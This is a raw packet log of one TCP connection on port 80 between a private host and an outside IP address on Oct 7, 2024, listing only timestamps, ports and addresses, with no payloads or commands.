Oct 7, 2024 18:43:29.070732117 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070739985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070765018 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070765018 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070782900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070796013 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070802927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070817947 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070827961 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070831060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070847034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070858002 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070858002 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070862055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070871115 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070877075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070887089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070902109 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070925951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070940971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070952892 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070956945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070970058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070983887 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070983887 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070983887 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070998907 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071010113 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071022987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071027994 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071027994 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071052074 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071305990 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071542025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071609974 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071649075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071665049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071681023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071691036 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071795940 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071846008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071861029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071875095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071888924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071898937 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071903944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071909904 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071919918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071928978 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071934938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071945906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071950912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071964025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071964025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.071964979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.071994066 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072017908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072032928 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072041988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072047949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072063923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072072983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072078943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072091103 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072093964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072108984 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072120905 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072120905 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072130919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072149038 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072165012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072171926 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072179079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072189093 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072194099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072208881 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072220087 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072220087 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072223902 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072232008 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072238922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072248936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072253942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072264910 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072278023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072293043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072297096 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072297096 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072309017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072318077 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072324038 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072329998 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072339058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072349072 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072355032 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072365999 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072369099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072376013 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072397947 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072407007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072422028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072433949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072436094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072452068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072459936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072465897 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072482109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072494984 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072494984 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072495937 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072511911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072521925 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072521925 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072534084 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072535038 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072550058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072560072 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072563887 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072580099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072591066 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072594881 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072602034 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072635889 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072635889 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.072647095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.072789907 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133668900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133779049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133794069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133807898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133821011 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133824110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133836031 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133846045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133857965 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133862972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133884907 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133886099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133905888 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133908987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133924007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133934021 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133938074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133944988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133953094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133963108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133966923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133974075 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.133981943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.133991957 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.134022951 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.134022951 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152617931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152646065 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152668953 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152682066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152697086 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152704954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152704954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152710915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152723074 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152723074 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152725935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152733088 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152741909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152748108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152748108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152765989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152785063 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152787924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152802944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152817011 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152821064 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152831078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152844906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.152852058 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152865887 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.152911901 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.154876947 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.154890060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.154907942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.154920101 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.154936075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.154941082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.154951096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.154964924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.154968023 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.154979944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.154988050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.154999971 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155021906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155031919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155066013 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155332088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155344963 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155368090 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155371904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155379057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155402899 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155407906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155417919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155435085 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155445099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155453920 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155467987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155482054 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155487061 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155507088 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155513048 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155518055 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155525923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155539989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155550957 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155554056 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155566931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155570030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155580997 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155590057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155595064 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155610085 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155628920 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155647039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155661106 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155674934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155683041 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155689001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155695915 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155704021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155715942 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155718088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155730009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155731916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155745983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155745983 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155774117 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155798912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155841112 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155853987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155868053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155874014 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155881882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155884981 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155895948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.155901909 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155914068 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155930996 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.155967951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156001091 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156003952 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156018019 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156037092 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156054974 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156100035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156112909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156127930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156133890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156142950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156143904 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156162024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156172037 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156223059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156230927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156239033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156248093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156254053 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156255007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156275034 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156294107 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156316042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156330109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156349897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156353951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156366110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156368971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156387091 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156395912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156459093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156480074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156492949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156493902 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156512022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156522036 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156522989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156538010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156552076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156557083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156564951 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156567097 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156580925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156586885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156594992 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156599045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156610012 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156610012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156634092 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156653881 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156666040 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156682014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156694889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156701088 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156708956 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156712055 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156723976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156727076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156743050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156748056 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156759977 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156780005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156794071 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156806946 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156821012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156832933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156832933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156832933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156832933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156847954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156869888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156883955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156898022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156903982 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156918049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156924009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156934023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.156935930 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156948090 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156960964 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.156997919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.157011032 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.157025099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.157033920 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.157038927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.157052994 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.157054901 CEST	49742	80	192.168.2.4	95.164.90.97
